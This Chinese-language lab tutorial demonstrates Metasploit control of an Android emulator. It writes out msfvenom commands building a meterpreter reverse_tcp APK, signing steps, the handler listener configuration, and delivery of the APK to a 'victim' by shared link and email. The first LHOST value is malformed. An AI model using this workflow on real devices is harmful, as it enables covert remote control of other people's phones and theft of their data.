文章内容可能具有一定攻击性,本文仅供技术交流,如有非法使用后果自负。
在这次的实验中,我会使用kali linux和安卓模拟器演示如何使用Metasploit框架控制Android设备。
我们需要两台虚拟机:Kali Linux和安卓模拟器。
打开vm启动Kali linux。接着打开终端,使用msfvenom制作android利用程序。
Msfvenom是msfpayload和msfencode的组合。它是一个单一的工具。它有标准的命令行选项。 Msfvenom用来制造的有效载荷用来渗透Android模拟器。
一旦打开终端提示符下输入以下命令,使用msfvenom工具来创建有效载荷APK文件。
``` msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1128 LPORT=4444 R > /root/Desktop/pentest.apk ```
p 设置要使用的payload LHOST 设置用来接收反弹连接的主机 LPORT 设置用来接收反弹连接的端口 R 设置文件格式 Location 要保存的文件位置
这个命令执行完之后,你会看到一些错误,但不用担心。现在可以到输出目录查看生成的apk了。
我们已经成功创建了Android格式(APK)文件的有效载荷。现在一般Android的移动设备不允许安装没有适当签名证书的应用程序。 Android设备只安装带有签署文件的APK。
我们可以使用如下工具进行手动签名:
l Keytool (已安装) l jar signer (已安装) l zipalign (需要安装)
执行下列命令签名。首先使用密钥工具创建密钥库。
keytool -genkey -v -keystore my-<span class="hljs-keyword">release</span>-<span class="hljs-keyword">key</span>.Keystore -<span class="hljs-keyword">alias</span> alias_name -keyalg RSA -keysize <span class="hljs-number">2048</span> -validity <span class="hljs-number">10000</span>
然后使用JARsigner签名APK
<span class="hljs-selector-tag">jarsigner</span> <span class="hljs-selector-tag">-verbose</span> <span class="hljs-selector-tag">-sigalg</span> <span class="hljs-selector-tag">SHA1withRSA</span> <span class="hljs-selector-tag">-digestalg</span> <span class="hljs-selector-tag">SHA1</span> <span class="hljs-selector-tag">-keystore</span> <span class="hljs-selector-tag">my-release-key</span><span class="hljs-selector-class">.Keystore</span> <span class="hljs-selector-tag">APPNAME</span><span class="hljs-selector-class">.apk</span> <span class="hljs-selector-tag">aliasname</span>`
再用JARsigner验证签名
<span class="hljs-selector-tag">jarsigner</span> <span class="hljs-selector-tag">-verify</span> <span class="hljs-selector-tag">-verbose</span> <span class="hljs-selector-tag">-certs</span> <span class="hljs-selector-tag">APPNAME</span><span class="hljs-selector-class">.apk</span>
Kali没有预装Zipalign,需要先apt-get install zipalign。然后用zipalign来验证apk。
<span class="hljs-selector-tag">zipalign</span> <span class="hljs-selector-tag">-v</span> 4 <span class="hljs-selector-tag">APPNAME</span><span class="hljs-selector-class">.apk</span> <span class="hljs-selector-tag">NEWAPPNAME</span><span class="hljs-selector-class">.apk</span>
现在我们有了一个带有签名的APK,它可以安装在任何设备上。
接下来启动metasploit的监听器。执行msfconsole打开控制台。
use exploit/multi/handler Set PAYLOAD android/meterpreter/reverse_tcp SET LHOST 192.168.152.128 SET LPORT 4444 Exploit
是时候将恶意的APK发送到手机上。我们这里使用一个网盘上传我们的APK,并将下载链接分享出去。
这是我们切换到安卓模拟器。
1、从https://code.google.com/archive/p/android-x86/downloads下载android x86的iso。 2、使用vmware创建一个内核版本为2.6的虚拟机。 3、挂载镜像,启动虚拟机。 4、进入Live模式。 5、设置手机并登陆谷歌帐号。
在安卓模拟器里面点击那个链接并下载。我们已经发送了一封邮件到受害者的谷歌帐号上。
另外要允许安卓安装来历不明的apk。
切换回Kali,我们发现创建了一个新的会话。
然后你就可以为所欲为的操作这台“手机”了。